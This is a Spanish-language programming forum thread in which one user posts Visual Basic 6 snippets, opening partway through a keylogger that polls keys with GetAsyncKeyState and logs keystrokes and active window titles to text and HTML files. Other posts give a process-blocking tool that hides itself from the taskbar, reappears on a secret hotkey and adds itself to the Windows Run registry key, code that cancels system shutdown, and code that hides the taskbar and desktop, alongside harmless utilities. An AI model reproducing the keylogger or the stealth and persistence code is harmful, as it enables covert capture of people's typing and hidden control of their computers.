EstadoTecla = GetAsyncKeyState(vbKeyNumpad0)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "0"
End If

DoEvents
End Sub

'***************************************************************************
'Función de tipo boolean que determina si está presionada la tecla CapsLock
'***************************************************************************
Public Function CAPSLOCKON() As Boolean
Static bOn As Boolean
Static bInit As Boolean
If Not bInit Then
While GetAsyncKeyState(VK_CAPITAL)
Wend
bOn = GetKeyState(VK_CAPITAL)
bInit = True
Else
If GetAsyncKeyState(VK_CAPITAL) Then
While GetAsyncKeyState(VK_CAPITAL)
DoEvents
Wend
bOn = Not bOn
End If
End If
CAPSLOCKON = bOn
End Function


'Esta sub graba los datos de la variable "Texto" en el archivo Log
Private Sub grabarArchivo()
Open path For Append As #1
Print #1, StrLog
'Eliminamos el contenido de StrLog
StrLog = ""
Close
End Sub


'Esta función devuelve el Caption de la ventana activa y es llamada desde el Timer1

Private Function ObtenerCaption(HandleWin As Long) As String
Dim Buffer As String
Dim TextTam As Long
'Obtenemos el tamaño del texto
TextTam& = GetWindowTextLength(HandleWin&)
'Este es un Buffer de caracteres que le pasaremos a GetWindowText para obtener el caption de la ventana activa
Buffer$ = String(TextTam&, 0&)
'Le pasamos a GetWindowText el hwnd de la ventana activa, el buffer y el tamaño anterior
Call GetWindowText(HandleWin&, Buffer$, TextTam& + 1)

'Asignamos a la función el caption
ObtenerCaption$ = Buffer$ & vbCrLf & "---------------------------------------------------"
End Function


'*********************************************************************
'Esta función genera el código Html para visualizar el archivo Log _
en este formato.
'*********************************************************************
Private Sub generarHTML()
Dim linea As String

Open App.path & "\archivolog.txt" For Input As #2
Open App.path & "\archivolog.html" For Output As #3

Print #3, "<HTML>" + vbCrLf + "<BODY>" + vbCrLf

While Not EOF(2)
Line Input #2, linea$
'Si la linea contiene la palabra ventana
'ponemosmos el color rojo a esa línea mediante la etiqueta Font
If InStr(1, linea$, "ventana", 1) Then
Print #3, "<font color=red>"; linea$; "</font>"
Else
'Si no establecemos el color es negro
Print #3, "<font color=black"; ; ">"; linea$; "</font>"
End If
Print #3, "<BR>" 'Para hacer un salto de carro en el código Html
DoEvents
Wend
Print #3, "</BODY>" + vbCrLf + "</HTML>" 'Cerramos el código Html
Close #2
Close #3
End Sub

[MaN!FesT]

Código fuente para impedir la ejecución de procesos y ejecutables utilizando Wmi

El mismo permite seleccionar los programas o archivos ejecutables que no queremos que se ejecuten, o que se cierren en un determinado momento. Para hacer esto se agregan a un control ListBox las rutas de los archivos ejecutables, y un timer chequea los procesos que se están ejecutando en el sistema operativo. Si el proceso o programa que se intenta ejecutar , está incuído en la lista (en un ListBox de los programas que queremos matar), se cierra.



    Descripción del programa

    Como se ve en el ListBox, mediante el botón "Agregar programa", añadimos los que queremos a la lista . Los que están chequeados son los que se cerrarán si se intentan abrir.

    * El botón "Eliminar programa" elimina un programa (un path de la lista.), es decir remueve la ruta anteriormente agregada.
    * El botón "Ver procesos" solo muestra los procesos a modo de información con un MsgBox (bien simple).
    * El botón "Ver Log" permite ver los archivos o programas que se pudieron restringir y fueron cerrados, es decir cada ves que se mata un proceso, se escribe en un archivo txt, también se escribe la hora y la fecha del programa que se cerró.

    *  El botón "Eliminar Registro" elimina el archivo log.txt y rutas.dat del disco.
    * El Botón Play sirve para pausar o reanudar el monitoreo de los procesos, si está en "pausa" no se cerrará ningún programa, es decir que no chequeará nada.
    * En el combo inferior, podemos configurar el tiempo, por ejemplo en la imagen está en 5 segundos, es decir chequeará, estableciendo el interval de un control Timer en 5000, si algún programa de la lista está abierto lo hará cada 5 segundos.
    * Si cerramos el programa, se escribe en un archivo llamado "rutas.dat" el contenido del listbox las rutas de los archivos para que al volver a iniciar el programa, se puedan volver a cargar los paths.

Advertencia : El programa tiene un botón para ocultar el formulario. Para poder reestablecerlo, es decir volver a hacerlo visible, hay que presionar las teclas Shift+F9.

Bueno ahora poner los siguientes mmmm controles:

    *  Agregar Un arreglo de controles Command llamado Command1, en total 8 (Command1(0), Command1(1), Command1(2), Command1(3) etc... hasta el Command1(7).)
    * Un control ListBox llamado List1 y colocarle la propiedad Style en 1 (para permitir tener checkBox)
    * Un control CommonDialog llamado "CommonDialog"
    * Un control Timer llamado Timer1
    * Otro control Timer llamado Timer2. Este es para que cuando está oculto, verifique si se presionó Shift+F9 para restaurar la ventana.
    * Un ComboBox llamado Combo1 (para los segundos y el intervalo)
    * Un CheckBox llamado Check1 (para iniciar con windows)
    * 2 Controles Label: un Label1 y un Label2

Importante: Los controles se acomodan solos y se ajustan automatiacment e, es decir desparramalos por el formulario en cualquier parte (te aviso, para que no te matés de gusto acomodandolos)

Otra cosa importante es que al cerrar el programa, cerrarlo con el botón "salir" y no con el Stop del IDE de vb mientras se prueba.

Por último una cosa para agregarle, que me olvidé de hacerle y que me estoy acordando ahora, es una opción para que al reiniciar la pc se ejecute el programa en modo oculto. Esto no es nada complicado, es cuestión de colocar una opción en el programa que escriba un valor en el registro y que de acuerdo a ese valor antes de cargarse  se haga visible o no el formulario de acuerdo a ese valor leído.

Bueno ahora va el "cochino" codigo:

Código:

Option Explicit

'Función Api ShellExecute para abrir archivos con su programa asociado
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

'Variables para listar y matar los ptrocesos mediante WMI (windows management instrumentation)
Dim ListaProcesos As Object, ObjetoWMI As Object, ProcesoACerrar As Object
'Para saber si se presionó la tecla Shift y F9
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form_Load()
'Procedimiento que configura los controles y algunas opciones
iniciar

End Sub


'Botones de opción del programa
'************************************

Private Sub Command1_Click(Index As Integer)
On Local Error GoTo men
Select Case Index
Case 0
'Agrega mediante un commondialog las rutas al List1
AgregarPrograma
Case 1
'Elimina los Items del List1
If List1.ListIndex <> -1 Then
List1.RemoveItem List1.ListIndex
End If
Case 2
ListarProcesos 'Lista los procesos y los muestra con un MsgBox
Case 3
'Ejecuta el archivo log.txt con los programas que se intentaron ejecutar y el programa los cerró
ShellExecute Me.hWnd, vbNullString, App.Path & "\log.txt", vbNullString, vbNullString, 1
Case 4
'Elimina los archivos log.txt y rutas.dat
If MsgBox("Eliminar el archivo log.txt ?", vbInformation + vbYesNo, App.Title) = vbYes Then
Kill App.Path & "\log.txt"
End If
If MsgBox("Eliminar el listado de las rutas de los programas?", vbInformation + vbYesNo, App.Title) = vbYes Then
Kill App.Path & "\rutas.dat"
List1.Clear
End If
Case 5
'Pone en Pausa el programa y lo pone en funcionamiento activando o desactivando el timer1
If Command1(5).Caption = "Play" Then
Command1(5).Caption = "Pausa"

Else
Command1(5).Caption = "Play"
End If
Timer1.Enabled = Not Timer1.Enabled

Case 6
'Salimos del programa
Unload Me
End
Case 7
'Este botón oculta el formulario.
MsgBox "Para volver a hacer visible presioná la tecla SHIFT+F9", vbInformation, App.Title
Timer2.Enabled = True
Me.Hide

End Select

Exit Sub
men:
If Err.Number = 53 Then MsgBox "No hay archivo a eliminar", vbExclamation, App.Title: Resume Next

End Sub

'Sub que agrega un programa cuando presionamos el Command1(0) (agregar programa)

Private Sub AgregarPrograma()
Dim i As Integer
CommonDialog.DialogTitle = "Seleccione el fichero ejecutable que desea impedir que se ejecute"
CommonDialog.Filter = "Archivos exe|*.exe"
CommonDialog.ShowOpen
If CommonDialog.FileName = "" Then Exit Sub

For i = 0 To List1.ListCount - 1
If CommonDialog.FileName = List1.List(i) Then
MsgBox "El programa ya está incluido en la lista", vbInformation, App.Title
Exit Sub
End If
Next
List1.AddItem CommonDialog.FileName
List1.Selected(List1.ListCount - 1) = True 'Lo chequeamos

End Sub

'Sub que lista los procesos abiertos y los muestra con un MsgBox a modo de información

Private Sub ListarProcesos()
Dim i As Integer, lista() As String, lista2 As String

If IsNull(ObjetoWMI) = False Then
'instanciamos la variable para usar Wmi
Set ListaProcesos = ObjetoWMI.InstancesOf("win32_process")
ReDim lista(ListaProcesos.Count)
For Each ProcesoACerrar In ListaProcesos
lista(i) = LCase(ProcesoACerrar.Name)
i = i + 1
Next
For i = LBound(lista) To UBound(lista)
lista2 = lista2 & lista(i) & vbNewLine
Next
MsgBox lista2, vbInformation, App.Title
End If
End Sub


'Este Timer chequea si los programas listados en el List están en ejecución
'y si lo está lo cierra

Private Sub Timer1_Timer()
Dim i As Integer, strName As String

If IsNull(ObjetoWMI) = False Then

'instanciamos la variable

Set ListaProcesos = ObjetoWMI.InstancesOf("win32_process")

Label2 = "Procesos ejecutandose: " & ListaProcesos.Count

'recorremos los items del List, es decir las rutas
For i = 0 To List1.ListCount - 1
'Obtenemos solo el nombre del Ejecutable
strName = LCase(Right(List1.List(i), Len(List1.List(i)) - InStrRev(List1.List(i), "\")))

'Recorremos todos los procesos
For Each ProcesoACerrar In ListaProcesos
'si el nombre de proceso es igual al del List
If strName = LCase(ProcesoACerrar.Name) And List1.Selected(i) Then
DoEvents
ProcesoACerrar.Terminate (0) '.... lo Matamos
'grabamos en el archivo Log el proceso que acabamos de cerrar
Open App.Path & "\log.txt" For Append As #3
Print #3, "Fecha:" & Date & " " & "Hora:" & Time & vbNewLine & strName & vbNewLine
Close #3
End If

Next
Next
End If

End Sub


Private Sub Timer2_Timer()
Dim Shift As Long, EstadoTecla As Long

Shift = GetAsyncKeyState(vbKeyShift)

'Esto verifica cuando se presiona la tecla SHIFT+F9 para hacer
'Visible el formulario nuevamente
EstadoTecla = GetAsyncKeyState(vbKeyF9)

If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
Me.Visible = True
Timer2.Enabled = False
End If
End Sub

Private Sub Form_Unload(Cancel As Integer)
Timer1.Enabled = False
'Eliminamos las variables de objeto

Set ListaProcesos = Nothing
Set ObjetoWMI = Nothing
'Guardamos las rutas del List1 en el archivo rutas.dat
GuardarPaths


End Sub


'Carga loas rutas en el List cuando inicia el programa leyendo el archivo rutas.dat
'*********************************************************************************

Private Sub CargarPaths()
Dim strPath As String, Estado As String
Open App.Path & "\rutas.dat" For Input As #1

While Not EOF(1)
Input #1, strPath, Estado
List1.AddItem strPath
If Estado = 1 Then
List1.Selected(List1.ListCount - 1) = True
Else
List1.Selected(List1.ListCount - 1) = False
End If
Wend

Close

End Sub

'Esta sub guarda los paths que agregamos al List1 cuando cerramos el programa
' en el archivo rutas.dat, para poder cargar luego cuando volvamos a abrirlo
'***************************************************************************
Private Sub GuardarPaths()
Dim strPath As String, Estado As String, i As Integer

Open App.Path & "\rutas.dat" For Output As #1

For i = 0 To List1.ListCount - 1

If List1.Selected(i) = True Then
Write #1, List1.List(i), 1 'El 1 es porque está chequeado
Else
Write #1, List1.List(i), 0 ' No está chequeado
End If

Next
Close
End Sub


'Esta sub configura las propiedades de los controles en tiempo de ejecución
'*******************************************************************************

Private Sub iniciar()
Dim i As Integer

'Para no a parecer en el TaskBar
App.TaskVisible = False

'Creamos un objeto para utilizar Wmi para los procesos
Set ObjetoWMI = GetObject("winmgmts:")

'Si no existe el archivo de las rutas lo crea
If Dir(App.Path & "\rutas.dat") = "" Then
Open App.Path & "\rutas.dat" For Output As #1
Close
Else
'Carga el List1 con las rutas de los programas
CargarPaths
End If

'Propiedades de los botones de opción

Command1(0).Caption = "Agregar Programa"
Command1(1).Caption = "Eliminar Programa"
Command1(2).Caption = "Ver Procesos"
Command1(3).Caption = "Ver Log"
Command1(4).Caption = "Eliminar registro"
Command1(5).Caption = "Play"
Command1(6).Caption = "Salir"
Command1(7).Caption = "Ocultar"
'Propiedades del formulario
With Me
.Caption = "Programa para impedir la ejecución de procesos ejecutables"
.Width = 1650 * 7 + 150
.Height = Command1(0).Height + List1.Height + 1500
.BackColor = vbWhite
End With
For i = 0 To 6
Command1(i).Move 1650 * i, 35, 1700, 300
Next
List1.Move 10, Command1(0).Top + Command1(0).Height, ScaleWidth, ScaleHeight - 750


'Propiedades del Label1
With Label1
.Caption = "Configurar segundos"
.AutoSize = True
.BackStyle = 0
.ForeColor = vbBlue
.Font.Bold = True
.Move 10, List1.Top + List1.Height + 50
End With
'Propiedades del Label2 que muestra la cantidad de procesos
With Label2
.Move 1700 * 7, 50
.AutoSize = True
.BackStyle = 0
.ForeColor = vbRed
.FontBold = True
End With
'Propiedades del check1
With Check1
.Value = ComprobarInicio
.Caption = "Iniciar con Windows"
.ForeColor = vbBlue
.BackColor = Me.BackColor
.Font.Bold = True
.Move Combo1.Left, Label1.Top
End With


'Propiedades del Combo1 que configura el intervalo
With Combo1
For i = 1 To 60
.AddItem i
Next
.Text = .List(0)
.Move Label1.Width + 50, Label1.Top, 700
End With


Timer2.Interval = 100
Timer2.Enabled = False
End Sub


Private Sub Form_Resize()
On Local Error Resume Next
List1.Move 10, Command1(0).Top + Command1(0).Height, ScaleWidth, ScaleHeight - 750
Label1.Move 10, List1.Top + List1.Height + 50
Check1.Move 3000, Label1.Top
Combo1.Move Label1.Width + 50, Label1.Top, 700
Command1(7).Move Me.Width - Command1(7).Width - 200, Check1.Top, 1700, 300
End Sub

'Graba en el registro la ruta del programa y también la elimina
Private Sub IniciarConWindows(iniciar As Boolean)
On Error Resume Next
'El nombre de nuestro Exe
Dim NuestroPrograma As String
'La Ruta de nuestra aplicación
Dim Ruta As String

'Variable de objeto para leer y escribir en el registro con Wscript.Shell
Dim MiObjeto As Object

'Seteamos la variable y creamos la referencia
Set MiObjeto = CreateObject("Wscript.Shell")
NuestroPrograma = App.EXEName

Ruta = App.Path & "\" & App.EXEName & ".exe"

If iniciar Then
'Escribimos el valor
MiObjeto.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & NuestroPrograma, Ruta
Else
MiObjeto.RegDelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & NuestroPrograma
End If
'Eliminamos
Set MiObjeto = Nothing
End Sub


'Procedimiento que comprueba y lee del registro si se inicia con el sistema
Private Function ComprobarInicio() As Integer
On Local Error Resume Next
Dim ret As String
'Variable de objeto
Dim MiObjeto As Object

'Seteamos la variable y creamos la referencia
Set MiObjeto = CreateObject("Wscript.Shell")
ret = MiObjeto.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName)
If ret = "" Then
ComprobarInicio = 0
Else
ComprobarInicio = 1
End If
End Function

'Esto establece si se inicia al arrancar windows
Private Sub Check1_Click()
IniciarConWindows (Check1.Value)
End Sub

Private Sub Combo1_Click()
Timer1.Interval = CInt(Combo1) * 1000
End Sub


Private Sub Combo1_KeyPress(KeyAscii As Integer)
KeyAscii = 0
End Sub

[MaN!FesT]

Buscar y Reemplazar cadenas en archivos

Ejemplo simple de como abrir un archivo, para poder buscar una cadena o frase dentro del mismo, y reemplazarla por otra nueva cadena o frase

Para el ejemplo colocar un Command1, un Text1 ( donde se indica el path del archivo donde buscar y reemplazar), un Text2 con la frase a buscar y un Text3 con la cadena a Reemplazar

Codigo en un hermoso Formulario:

Código:

Private Sub Reemplazar_Texto(ByVal El_Archivo As String, _
                            ByVal La_cadena As String, _
                            ByVal Nueva_Cadena As String)

On Error GoTo errSub
Dim F As Integer
Dim Contenido As String

   
    F = FreeFile
   
    'Abre el archivo para leer los datos
    Open El_Archivo For Input As F
   
    'carga el contenido del archivo en la variable
    Contenido = Input$(LOF(F), #F)
   
    'Cierra el archivo
    Close #F
   
    ' Ejecuta la función Replace, pasandole los datos
    Contenido = Replace(Contenido, La_cadena, Nueva_Cadena)

   
    F = FreeFile
    'Abre un nuevo archivo
    Open El_Archivo For Output As F
    'Graba los nuevos datos
    Print #F, Contenido
   
    'cierra el archivo
    Close #F
   
    MsgBox " Archivo modificado ", vbInformation
Exit Sub

'Error

errSub:
MsgBox Err.Description, vbCritical
Close
End Sub


Private Sub Command1_Click()
If (Text1 = "" Or Text2 = "" Or Text3 = "") Then
   MsgBox " datos incompletos ", vbCritical
   Exit Sub
End If

'Se le envía el path y el nombre del archivo, la cadena _
 a buscar y la cadena a reemplazar

Call Reemplazar_Texto(Text1, Text2, Text3)

End Sub

Private Sub Form_Load()
Command1.Caption = " Buscar y Reemplazar "
Me.Caption = " Buscar cadenas y frases en un archivo y reemplazarlas "
End Sub

[MaN!FesT]

Enviar Email

Para agregar estos ocx se debe insertar desde Componentes bajo el nombre de Microsoft Mapi controls.

Para el ejemplo agregar estos 2 Ocx al formulario y también agregar los siguientes controles, mas o menos como muestra la imagen:

 
    *  Un TextBox llamado txtdestinatari o (Email de destino)
    * Un textbox llamado txtasunto (El asunto del mail)
    * Un text txtMensaje
    * Un control Commondialog1 (para buscar un archivo adjunto)
    * 2 Controles CommandButton. CmdAdjunto y CmdEnviar
    * Un control Label llamado LblAdjunto (para mostrar la ruta del archivo a enviar)

Código:

Option Explicit

Private Sub Form_Load()
Me.Caption = "Email"

End Sub
Private Sub cmdAdjunto_Click()

With CommonDialog1

.ShowOpen
If .FileName = "" Then Exit Sub
lblAdjunto = .FileName

End With

End Sub

Private Sub CmdEnviar_Click()

'Borramos la ruta
lblAdjunto = ""

With MAPISession1

.NewSession = False
.SignOn

End With

With MAPIMessages1

.SessionID = MAPISession1.SessionID

'Creamos el mensaje
.Compose

'Asunto
.MsgSubject = txtasunto

'Mensaje
.MsgNoteText = txtmensaje

'Nombre del Mail del destinatario
.RecipDisplayName = txtdestinatario

'Adjunto
If lblAdjunto <> "" Then .AttachmentPathName = lblAdjunto

'Enviamos
.Send False

End With

'Cerramos
MAPISession1.SignOff

End Sub

Private Sub textasunto_Change()

End Sub

Esta rete feo pero no tengo mucho tiempo

[MaN!FesT]

Para que se ejecute solo una vez el programa

En un Form:

Código:

Private Sub Form_Load()
Dim Ya_Existe As Integer
Ya_Existe = App.PrevInstance
If Ya_Existe <> 0 Then
MsgBox "Ya se está ejecutando",vbInformation,"No seas..."
End
End If
End Sub

[MaN!FesT]

Apagar, Reiniciar Windows, Reiniciar Sistema

Código:

Private Declare Function ExitWindowsEx& Lib "user32" (ByVal
uFlags&, ByVal dwReserved&)
Private Sub Command1_Click()
Dim i as integer
i = ExitWindowsEx(1, 0&) 'Apaga el equipo
End Sub
Private Sub Command2_Click()
Dim i as integer
i = ExitWindowsEx(0, 0&) 'Reinicia Windows con nuevo usuario
End Sub
Private Sub Command3_Click()
Dim i as integer
i = ExitWindowsEx(2, 0&) 'Reinicia el Sistema
End Sub

[MaN!FesT]

Compactar una base de Datos

Suguiero que antes de todo tengan dos copias por si acaso, un día estaba bien feliz y se fue la luz y adios base de datos quien sabe que le paso:

Código:

'Cerrar la base (esto sólo si la tienes abierta...)
Db.Close
'Liberar memoria y "desligarla"
Set Db = Nothing
'
'Tomar el nombre sin la extensión
sTmp = ""
i = InStr(NombreBase, ".")
If i Then
p = i - 1
Else
p = Len(NombreBase)
End If
sTmp = Left$(NombreBase, p)
'Buscar \, para tomar el directorio (path)
For i = p To 1 Step -1
If Mid$(NombreBase, i, 1) = "\" Then
sTmp = Left$(NombreBase, i)
Exit For
End If
Next
If Right$(sTmp, 1) <> "\" Then
sTmp = sTmp & "\"
End If
dBaseTmp = sTmp & "~dBase2.mdb"
If Len(Dir$(dBaseTmp)) Then Kill dBaseTmp
If Len(Dir$(sTmp & "~dBase1.mdb")) Then Kill sTmp & "~dBase1.mdb"
CompactDatabase NombreBase, dBaseTmp, dbLangSpanish, dbVersion20
'Guardar una copia de como estaba antes
Name NombreBase As sTmp & "~dBase1.mdb"
Name dBaseTmp As NombreBase
'Borrar los ficheros LDB
If Len(Dir$(sTmp & "*.ldb")) Then Kill sTmp & "*.ldb"

[MaN!FesT]

Impedir que se cierre un Form:

Código:

Private EnabledClose As Boolean
Private Sub Form_Unload(Cancel As Integer)
If Not EnabledClose Then
Cancel = -1
End If
End Sub
'Suponiendo que se cierra con un Botón
Private Sub Command1_Click()
EnabledClose = True
Unload Me
End Sub

Simple pero sencillito.

[MaN!FesT]

Como crear controles en tiempo de ejecución

Código:

'
'Ejemplo de creación de controles en tiempo de ejecución
Option Explicit
 
'Llevará la cuenta de los controles creados
Private numControles As Long
 
 
Private Sub cmdCrear_Click()
    'Crear un nuevo control de cada tipo
 
    'numControles está declarada a nivel de módulo
    numControles = numControles + 1
    'Crear los controles
    Load Label1(numControles)
    Load Text1(numControles)
 
    'Posicionarlos y hacerlos visibles
    With Label1(numControles)
        .Visible = True
        .Top = Label1(numControles - 1).Top + .Height + 120
        .Caption = "Label1(" & numControles & ")"
    End With
    With Text1(numControles)
        .Visible = True
        .Top = Text1(numControles - 1).Top + .Height + 60
        .Text = "Text1(" & numControles & ")"
    End With
End Sub
 
 
Private Sub cmdEliminar_Click()
    'Eliminar un elemento de cada control anteriormente creado
 
    'El control CERO no se puede eliminar
    If numControles > 0 Then
        'Descargarlos de la memoria
        Unload Label1(numControles)
        Unload Text1(numControles)
        numControles = numControles - 1
    End If
End Sub
 
 
Private Sub Form_Load()
  'Por defecto creamos un control de cada array:
    'un Label y un Textbox
 
    cmdCrear_Click
End Sub

Pongan un nuevo proyecto, añadan un label y un textbox.
Seleccionen el label, en la propiedad Index, escriban CERO, de esta forma tendráb un array creado.
Hagan lo mismo con un Texbox.

Tengan en cuenta que se crearan unos hermosos controles pero con la propiedad Visible a False por lo tanto serán no seran visibles (Guau soy un genio) entonces tendra que cambiar a True.


Veamos el código de ejemplo que permitirá crear controles, posicionarlos debajo de los anteriores y si se pulsa en el botón cmdElimir, eliminará el último que se haya creado

[MaN!FesT]

Detener el apagado de Windows

Deberas que que cochinada 
Modulo:

Código:

Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal MSG As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Declare Function GetMessage Lib "user32" Alias "GetMessageA" (lpMsg As MSG, ByVal hwnd As Long, ByVal wMsgFilterMin As Long, ByVal wMsgFilterMax As Long) As Long

Type POINTAPI
        x As Long
        y As Long
End Type

Type MSG
    hwnd As Long
    message As Long
    wParam As Long
    lParam As Long
    time As Long
    pt As POINTAPI
End Type

Public Const GWL_WNDPROC = -4
Public Const WM_QUERYENDSESSION = &H11
Global Const WM_CANCELMODE = &H1F

Public SDAttempted As Long
Global lpPrevWndProc As Long
Global gHW As Long

Public Sub Hook()
    lpPrevWndProc = SetWindowLong(gHW, GWL_WNDPROC, AddressOf WindowProc)
End Sub

Public Sub Unhook()
    Dim temp As Long
    temp = SetWindowLong(gHW, GWL_WNDPROC, lpPrevWndProc)
End Sub
Function WindowProc(ByVal hw As Long, ByVal uMsg As _
Long, ByVal wParam As Long, ByVal lParam As Long) As _
Long
Dim a As Long
    If uMsg = WM_QUERYENDSESSION Then
            SDAttempted = SDAttempted + 1
            WindowProc = CallWindowProc(lpPrevWndProc, hw, _
            WM_CANCELMODE, wParam, wParam)
             Exit Function
    End If
    WindowProc = CallWindowProc(lpPrevWndProc, hw, _
    uMsg, wParam, lParam)
End Function

En un Form:

SDAttempted = 0
gHW = Me.hwnd
Hook

[MaN!FesT]

Control total del taskbar

 

Bueno otra cochinada del día:

En un Módulo:

Código:

Public isvisible As Integer
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, y, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const HWND_TOPMOST = -1
Private Const HWND_NOTOPMOST = -2
Private Const SWP_NOMOVE = &H2
Private Const SWP_NOSIZE = &H1
Private Const TOPMOST_FLAGS = SWP_NOMOVE Or SWP_NOSIZE
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long

Public Function HideTaskBarIcons()
    Dim FindClass As Long, Handle As Long
    FindClass& = FindWindow("Shell_TrayWnd", "")
    Handle& = FindWindowEx(FindClass&, 0, "TrayNotifyWnd", vbNullString)
    ShowWindow Handle&, 0
End Function

Public Function ShowTaskBarIcons()
    Dim FindClass As Long, Handle As Long
    FindClass& = FindWindow("Shell_TrayWnd", "")
    Handle& = FindWindowEx(FindClass&, 0, "TrayNotifyWnd", vbNullString)
    ShowWindow Handle&, 1
End Function

Public Function HideTaskBarClock()
    Dim FindClass As Long, FindParent As Long, Handle As Long
    FindClass& = FindWindow("Shell_TrayWnd", vbNullString)
    FindParent& = FindWindowEx(FindClass&, 0, "TrayNotifyWnd", vbNullString)
    Handle& = FindWindowEx(FindParent&, 0, "TrayClockWClass", vbNullString)
    ShowWindow Handle&, 0
End Function

Public Function ShowTaskBarClock()
    Dim FindClass As Long, FindParent As Long, Handle As Long
    FindClass& = FindWindow("Shell_TrayWnd", vbNullString)
    FindParent& = FindWindowEx(FindClass&, 0, "TrayNotifyWnd", vbNullString)
    Handle& = FindWindowEx(FindParent&, 0, "TrayClockWClass", vbNullString)
    ShowWindow Handle&, 1
End Function

Public Function HideDesktop()
    ShowWindow FindWindowEx(FindWindowEx(FindWindow("Progman", vbNullString), 0&, "SHELLDLL_DefView", vbNullString), 0&, "SysListView32", vbNullString), 0
End Function

Public Function ShowDesktop()
    ShowWindow FindWindowEx(FindWindowEx(FindWindow("Progman", vbNullString), 0&, "SHELLDLL_DefView", vbNullString), 0&, "SysListView32", vbNullString), 5
End Function

Public Function HideStartButton()
    Dim Handle As Long, FindClass As Long
    FindClass& = FindWindow("Shell_TrayWnd", "")
    Handle& = FindWindowEx(FindClass&, 0, "Button", vbNullString)
    ShowWindow Handle&, 0
End Function

Public Function ShowStartButton()
    Dim Handle As Long, FindClass As Long
    FindClass& = FindWindow("Shell_TrayWnd", "")
    Handle& = FindWindowEx(FindClass&, 0, "Button", vbNullString)
    ShowWindow Handle&, 1
End Function

Public Function HideTaskBar()
    Dim Handle As Long
    Handle& = FindWindow("Shell_TrayWnd", vbNullString)
    ShowWindow Handle&, 0
End Function

Public Function ShowTaskBar()
    Dim Handle As Long
    Handle& = FindWindow("Shell_TrayWnd", vbNullString)
    ShowWindow Handle&, 1
End Function

Public Sub MakeNormal(hwnd As Long)
    SetWindowPos hwnd, HWND_NOTOPMOST, 0, 0, 0, 0, TOPMOST_FLAGS
End Sub

Public Sub MakeTopMost(hwnd As Long)
    SetWindowPos hwnd, HWND_TOPMOST, 0, 0, 0, 0, TOPMOST_FLAGS
End Sub

En Un Form:

Código:

Dim ico As Integer
Dim clo As Integer
Dim stb As Integer
Dim tsk As Integer
Dim dsk As Integer

Private Sub Command1_Click()
If isvisible = 1 Then
        If ico = 0 Then
        ShowTaskBarIcons
        ico = 1
        ElseIf ico = 1 Then
        HideTaskBarIcons
        ico = 0
        End If
    ElseIf isvisible = 0 Then
    End If
End Sub

Private Sub Command2_Click()
If isvisible = 1 Then
        If clo = 0 Then
        ShowTaskBarClock
        clo = 1
        ElseIf clo = 1 Then
        HideTaskBarClock
        clo = 0
        End If
    ElseIf isvisible = 0 Then
    End If
End Sub

Private Sub Command3_Click()
If isvisible = 1 Then
        If stb = 0 Then
        ShowStartButton
        stb = 1
        ElseIf stb = 1 Then
        HideStartButton
        stb = 0
        End If
    ElseIf isvisible = 0 Then
    End If
End Sub

Private Sub Command4_Click()
 If isvisible = 1 Then
        If tsk = 0 Then
        ShowTaskBar
        tsk = 1
        ElseIf tsk = 1 Then
        HideTaskBar
        tsk = 0
        End If
    ElseIf isvisible = 0 Then
    End If
End Sub

Private Sub Command5_Click()
If isvisible = 1 Then
        If dsk = 0 Then
        ShowDesktop
        dsk = 1
        ElseIf dsk = 1 Then
        HideDesktop
        dsk = 0
        End If
    ElseIf isvisible = 0 Then
    End If
End Sub

Private Sub Command6_Click()
   If isvisible = 1 Then
        ShowTaskBarIcons
        ShowTaskBarClock
        ShowDesktop
        ShowStartButton
        ShowTaskBar
        ico = 1
        clo = 1
        stb = 1
        tsk = 1
        dsk = 1
    ElseIf isvisible = 0 Then
    End If
End Sub

Private Sub Form_Load()
MakeTopMost Me.hwnd
isvisible = 1
ico = 1
clo = 1
stb = 1
tsk = 1
dsk = 1
End Sub

[sable]

esta muy bien tio kjonuo xd
m gusta
anda di k ace k no m e leio tol kodigo por respeto a mis ojos,( no tomar a mal ) ske es mu largo 
bye
sable

[>> s E t H <<]

muy buen aporte